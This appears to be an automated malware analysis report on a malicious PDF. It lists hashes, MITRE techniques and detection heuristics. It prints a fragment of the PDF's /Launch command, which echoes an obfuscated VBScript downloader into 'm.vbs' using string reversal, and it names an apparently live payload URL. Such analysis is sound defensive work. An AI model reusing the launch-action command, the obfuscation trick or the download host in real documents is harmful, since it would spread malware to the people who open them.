PDF malware analysis — malicious · 4cbb192c1f91fc45

MALICIOUS

PDF

800 B

MD5: 01fe9082c2dd3e5b6c84e48263c97715 SHA-1: ed3c7a69cfdd197b6c1d7eea4ad7410f758267e4 SHA-256: 4cbb192c1f91fc4582174ee308d4147806c786cd478d96c4aea2acfc7742d762

120 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 Malicious File T1059.003 Windows Command Shell T1059.005 Visual Basic

The PDF contains a launch action that executes a command-line command. This command constructs and echoes a VBScript payload to a file named 'm.vbs'. The VBScript payload is obfuscated using string reversal for 'Scripting.FileSystemObject' and likely intended to download and execute further malicious content from the embedded URL http://graymageds.com/n/tmp/m.vbs.

Heuristics 4

Launch action high PDF_LAUNCH

PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD

PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
/Launch action target: cmd high PDF_LAUNCH_COMMAND

PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://graymageds.com/n/tmp/m.vbs

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_pdf_script_0000006f.bin` `ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5`	pdf-embedded-script	PDF decompressed stream script payload at offset 0x6F	63 bytes

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